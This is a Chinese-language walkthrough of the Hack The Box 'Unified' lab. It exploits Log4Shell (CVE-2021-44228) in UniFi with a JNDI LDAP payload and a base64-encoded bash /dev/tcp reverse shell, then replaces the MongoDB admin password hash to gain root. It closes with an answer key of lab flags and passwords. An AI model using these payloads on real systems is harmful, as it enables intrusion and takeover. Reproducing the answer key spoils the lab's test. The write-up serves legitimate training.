HTB-Unified(log4j2漏洞、MongoDb替换管理员密码)

前言

  • 各位师傅大家好,我是qmx_07,今天给大家讲解Unified靶机
    在这里插入图片描述

渗透过程

信息搜集

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 服务器开放了SSH服务,HTTP服务

访问网站 验证log4j2漏洞

  • 8443端口:UniFi 网络 ,访问查询 是否有Nday漏洞利用
    在这里插入图片描述
  • 可以观察到UniFi的版本号:6.4.54
    在这里插入图片描述
  • 通过搜索引擎查询,该服务拥有CVE-2021-44228 漏洞

在这里插入图片描述

  • 使用tcpdump工具 监听网卡流量
    在这里插入图片描述
  • 通过修改remember字段
${jndi:ldap://10.10.16.2/o=tomcat}

在这里插入图片描述

  • 可以看到UniFi服务器 对 本地服务器 发起了请求,确认存在log4j2漏洞

利用log4j2漏洞,反弹会话

  • 工具准备:
准备工具:
1.openjdk-11-jdk
sudo apt-get install openjdk-11-jdk -y 
2.Maven
sudo apt-get install maven -y
3.编译maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi 
mvn package
rogue-jndi:开启本机ldap服务,允许接收其他服务器数据,可执行代码

  • 生成反弹命令 进行base64加解密:
    在这里插入图片描述
echo 'bash -c bash -i >&/dev/tcp/10.10.16.2/4444 0>&1' | base64

在这里插入图片描述
使用命令:

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" --hostname "10.10.16.2"
  • 这段代码的意思是 使用之前制作的base64 反弹代码,进行base64解密,bash加载,目标是10.10.16.2
  • 同时要监听端口会话,等待反弹
    在这里插入图片描述
"${jndi:ldap://10.10.16.2:1389/o=tomcat}"
  • 通过remember字段 构造命令,反弹会话
    在这里插入图片描述
script /dev/null -c bash
  • 监听端口,稳固会话

通过修改mongoDb数据库 管理员密码,进入网站后台

  • 查询unifi 中间件的数据库,一般默认是mongdb数据库
  • mongdb默认数据库为ace
    在这里插入图片描述
  • 数据库端口开放在 27117
    在这里插入图片描述
mongo --port 27117 ace 
  • 指定端口号,连接mongo数据库
    在这里插入图片描述
db.admin.find().forEach(printjson);
  • 通过这个命令可以枚举用户信息,并且以json格式打印
    在这里插入图片描述
  • 通过hashid工具 分析哈希值使用的加密方式
    在这里插入图片描述
  • 通过mkpasswd 设置哈希编码,构造新密码
    在这里插入图片描述
db.admin.update({"_id":
ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$0dOBQ6ZeDhxJi9Df$HEFkxcqfmWhHbyt0h4WAAzRNqg9n.19ryJfXy.ZcRkcAWKvjy9IQ42OAjRRafoEXTf5ZqzVByYnIuk9U/a8Py1"}});
  • 查找administrator管理员账户id,修改密码 为之前生成的哈希密码,更新成功

在这里插入图片描述

  • 成功进入后台

通过后台提供的ssh,获取flag

在这里插入图片描述

  • 账号:root
  • 密码:NotACrackablePassword4U2022
    在这里插入图片描述
  • 登录用户
    在这里插入图片描述
  • 用户flag:6ced1a6a89e666c0620cdb10262ba127
    在这里插入图片描述
  • root flag:e50bc93c75b634e4b272d2f771c33681

知识点讲解

  • 受影响版本:

Apache Log4j 2.x <= 2.14.1

  • 受影响的应用组件:

Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2

  • log4j2漏洞原理:

log4j2 框架下的 lookup服务提供了 {}字段解析功能,传进去 的 值会 被 直接解析,JNDI服务会请求 远程服务 来 连接 本地对象,这时候 只用在{}里面调用JNDI服务即可 反弹shell 到指定服务器

  • 流量特征:

数据包里面有{jndi: ldap}字段

  • 修复:

1.禁止 用户 请求 参数 出现 攻击关键字
​>2.禁止 lookup 下载远程文件
3.禁止 log4j2 应用 连接外网

答案

  • 1.服务器开放的前四个端口是什么?

22,6789,8080,8443

  • 2.8443端口运行服务的标题是什么?

UniFi Network

  • 3.中间件版本是多少?

6.4.54

  • 4.此CVE编号是多少?

CVE-2021-44228

  • 5.JNDI注入使用什么协议?

ldap

  • 6.用什么工具来监测网卡,验证是否存在漏洞?

TcpDump

  • 7.需要拦截哪个流量端口?

389

  • 8.Mongod服务运行在哪个端口?

27117

  • 9.UniFi 在Mongod数据库的默认库是什么?

ace

  • 10.在Mongod数据库中使用什么命令来枚举用户信息?

db.admin.find()

  • 11.在Mongod数据库中使用什么明来来更新数据?

db.admin.update()

  • 12.root用户的密码是什么?

NotACrackablePassword4U2022

  • 13.用户flag是什么?

6ced1a6a89e666c0620cdb10262ba127

  • 14.root flag是什么?

e50bc93c75b634e4b272d2f771c33681

总结

  • 我们介绍了log4j2 漏洞 原理、流量特征、修复意见、利用过程 和 Mongod数据库 更换 管理员密码 登录后台,使用hashid 分析哈希值、mkpasswd 来生成密码
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值